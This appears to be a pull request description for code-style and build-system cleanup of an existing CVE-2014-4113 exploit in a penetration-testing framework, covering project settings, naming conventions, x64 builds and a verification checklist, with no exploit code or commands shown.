Tidying up of code for the CVE-2014-4113

## Description

Given that I wasn't good enough or fast enough to help @jvazquez-r7 and @zeroSteiner smash out the recent CVE-2014-4113 exploit, I thought I could at least help with some code maintenance tasks. This PR contains a bunch of changes that include the following:

* Change of VS project so that it:
    * is inline with more recent exploits.
    * correctly uses the v120\_xp toolset.
    * outputs intermediate files to the correct locations.
* Modification of code "standard" so that it fits with what we're trying to do with meterpreter:
    * variable names are hungarian notation (yeah.. yeah I know).
    * function names are snake\_case.
    * BSD-style braces are applied.
* Fixed up the msbuild so that the x64 version of the exploit was also built from the command line
* Fixed up some other small things such as:
    * removing the `QWORD` type as this is already covered by `DWORD_PTR`.
    * removing `else` cases where the `if` cases were returning from function calls.
    * using the platform-specific defines instead of having `#ifdef` clauses where possible.
    * ditching some other redundancies.
* It also builds cleanly with 0 warnings, and so I have enabled warnings as errors.
* I had intended on writing doxygen comments, but for exploits like this there isn't much point. So I didn't. Sue me :dancers: 

I'm totally piggybacking on the hot sauce provided by Juan and Spencer.

I still can't get them to work on 7 x64 (note: it never has worked for me, even before these changes), but MS might have patched my system for me. Who knows.

## Verification

- [x] Make sure that it builds cleanly with 0 warnings or errors
- [x] Make sure that it builds when the `make.bat` file is run in the `exploits` folder
- [x] Make sure that x64 still works
- [x] Make sure that x86 still works
- [x] Make sure that I haven't done anything stupid or awful
